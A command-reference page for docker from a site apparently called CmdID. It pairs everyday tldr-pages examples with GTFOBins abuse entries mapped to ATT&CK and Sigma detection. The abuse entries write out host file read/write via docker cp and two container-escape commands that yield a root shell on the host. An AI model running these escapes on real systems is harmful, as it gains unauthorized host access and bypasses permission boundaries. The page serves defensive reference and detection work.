CmdID

CmdID / Programs / Linux and Unix

docker

Manage Docker containers and images. Some subcommands such as container, image, etc. have their own usage documentation. tldr-pages

GTFOBins shell 1 ATT&CK technique 4 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How docker is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

-v
--rm
-it

shell T1059.004 Command and Scripting Interpreter: Unix Shell

run

--rm
-it
--privileged
-u

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for docker.

4 documented commands

from GTFOBins, each read by CmdID

file-read unprivileged, with sudo, as SUID

Read a file by copying it to a temporary container ($CONTAINER_ID) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Identify

file-write unprivileged, with sudo, as SUID

Write a file by copying it to a temporary container ($CONTAINER_ID) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Identify

shell unprivileged, with sudo, as SUID

docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Identify

shell unprivileged, with sudo, as SUID

This exploits the fact that is run with the --privileged option to directly mount a host's disk, e.g., /dev/sda1.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Identify

None of the 4 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for docker. CmdID reads the line of each that runs docker.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

List all Docker containers (running and stopped)

docker [ps|container ls] --allIdentify

Start a container from an image, with a custom name

docker [run|container run] --name container_name imageIdentify

Start or stop an existing container

docker container start container_nameIdentify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.